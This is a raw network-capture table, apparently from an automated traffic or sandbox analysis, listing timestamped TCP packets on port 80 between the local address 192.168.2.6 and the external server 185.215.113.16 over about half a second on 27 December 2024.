Dec 27, 2024 08:50:48.955101967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.955672979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.955741882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.955775976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.955789089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.955818892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.955868959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.956504107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.956516027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.956568003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.956579924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.956604958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.956623077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.957314014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.957357883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.957403898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.957417965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.957431078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.957485914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.958138943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.958178997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.958190918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.958225965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.958234072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.958859921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.958934069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.958945990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.958972931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.958997965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.959301949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.959655046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.959717989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.959728956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.959765911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.959809065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.960485935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.960488081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.960506916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.960519075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.960572004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.960589886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.960654974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.961307049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.961360931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.961379051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.961412907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.961462021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.962110996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.962122917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.962133884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.962163925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.962167978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.962213039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.962825060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.962863922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.962869883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.962918997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.962953091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.963613033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.963670015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.963682890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.963716984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.963753939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.964447021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.964457989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.964469910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.964493990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.964601994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.965190887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.965233088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.965244055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.965256929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.965286016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.965343952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.966063976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.966089010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.966099977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.966142893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.966145992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.966761112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.966821909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.966831923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.966866016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.966890097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.968517065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.007339001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.007405996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.007416010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.007451057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.007488012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.007527113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.007735014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.007786989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.007797956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.007843018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.149401903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.149471045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.149528027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.149591923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.149633884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.149646997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.149667025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.149732113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.149760962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.150336027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.150432110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.150464058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.150579929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.150629997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.150641918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.150660038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.150729895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.150758028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.151380062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.151405096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.151417017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.151438951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.151523113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.151555061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.152144909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.152208090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.152220964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.152237892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.152307034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.152343988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.152998924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.153031111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.153042078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.153063059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.153088093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.153116941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.153753996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.153798103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.153810024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.153835058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.153879881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.153909922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.154520035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.154589891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.154603004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.154625893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.154665947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.154695988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.155343056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.155364037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.155379057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.155400991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.155443907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.155472994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.156112909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.156158924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.156171083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.156188965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.156254053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.156289101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.156888962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.156948090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.156965971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.156979084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.157032013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.157063007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.157690048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.157747984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.157761097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.157780886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.157809019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.157838106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.158463955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.158519983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.158531904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.158554077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.158596039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.158627987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.159280062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.159318924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.159332037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.159356117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.159401894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.159435034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.160048008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.160113096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.160125017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.160151005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.160182953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.160211086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.160850048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.160945892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.160957098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.161006927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.161029100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.161060095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.161628962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.161700010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.161710978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.161752939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.161808968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.161839008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.162441969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.162484884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.162496090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.162519932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.162662983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.162695885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.163216114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.163255930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.163266897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.163292885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.163347960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.163400888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.163986921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.164061069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.164072990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.164098024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.164203882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.164232016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.164772987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.164834976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.164850950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.164868116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.164920092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.164958000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.165596962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.165648937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.165659904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.165682077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.165720940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.165771961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.166380882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.166413069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.166425943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.166452885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.166522026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.166565895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.167201996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.167213917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.167226076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.167268991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.167304993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.167341948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.167937040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.168008089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.168020010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.168046951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.168082952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.168118954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.168736935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.208662987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.208692074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.208702087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.208704948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.208734035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.208798885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.209044933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.209065914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.209079027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.209079027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.209115982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.350835085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.350887060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.350899935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.350975037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.350977898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.351021051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.351229906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.351274014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.351285934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.351319075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.351741076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.351783991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.351787090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.351799965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.351831913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.351882935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.352516890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.352560043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.352571011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.352572918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.352606058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.352665901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.353322029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.353375912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.353377104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.353387117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.353416920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.353451967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.354098082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.354120016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.354130983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.354154110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.354168892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.354223013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.354880095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.354924917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.354931116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.354937077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.354967117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.354990959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.355707884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.355758905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.355778933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.355791092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.355801105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.355823040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.356601000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.356647015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.356652975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.356662035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.356698990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.356786966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.357331038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.357350111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.357361078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.357379913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.357397079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.357451916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.358110905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.358123064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.358133078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.358148098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.358165026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.358192921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.358836889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.358870983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.358882904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.358887911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.358921051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.358946085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.359606981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.359644890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.359656096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.359674931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.359689951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.359770060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.360387087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.360435963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.360466003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.360476971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.360505104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.360543966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.361287117 CET	80	49752	185.215.113.16	192.168.2.6
